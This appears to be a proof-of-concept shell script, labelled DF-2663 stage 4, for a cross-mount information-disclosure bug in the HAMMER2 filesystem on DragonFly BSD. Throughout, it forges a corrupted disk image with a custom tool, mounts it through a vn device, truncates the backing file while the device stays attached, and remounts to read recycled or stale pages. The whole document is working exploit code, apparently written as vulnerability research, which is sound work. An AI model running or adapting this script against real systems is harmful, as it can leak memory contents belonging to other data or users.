#!/bin/sh
# DF-2663 stage 4: same-devvp cross-mount disclosure.
# vn0 stays attached the whole time; umount invalidates its buffers but the
# device vnode (and its VM object pages) can persist -> remount after backing
# truncation reads recycled pages.
exec > /root/poc/run4.log 2>&1
set -x
for m in /mnt/h2; do timeout 10 umount -f $m 2>/dev/null; done
dmsetup remove_all 2>/dev/null
vnconfig -u vn0 2>/dev/null

cp /root/poc/base.img /root/poc/seed2.img
dd if=/root/poc/seeda.txt of=/root/poc/seed2.img bs=64k seek=3072 conv=notrunc status=none
/root/poc/forge2663 /root/poc/seed2.img /root/poc/seed2.img 0xC000010 0x00 0

vnconfig -c vn0 /root/poc/seed2.img
echo "=== PHASE 1: read real SEEDA at 192MB"
mount -t hammer2 -o ro /dev/vn0@leakfs /mnt/h2
cat /mnt/h2/leakfile > /root/poc/seed2_read.bin; echo "SEED_RC=$?"
md5 /root/poc/seed2_read.bin /root/poc/seeda.txt
umount /mnt/h2

echo "=== PHASE 2: truncate backing (vn0 attached), remount, read"
truncate -s 201326592 /root/poc/seed2.img
mount -t hammer2 -o ro /dev/vn0@leakfs /mnt/h2
cat /mnt/h2/leakfile > /root/poc/stale2_read.bin; echo "STALE_RC=$?"
md5 /root/poc/stale2_read.bin /root/poc/seed2_read.bin
grep -c SEEDA /root/poc/stale2_read.bin || echo no-SEEDA
od -A x -t xz /root/poc/stale2_read.bin | grep -v "^\*" | head -12
umount /mnt/h2
vnconfig -u vn0
echo STAGE4_DONE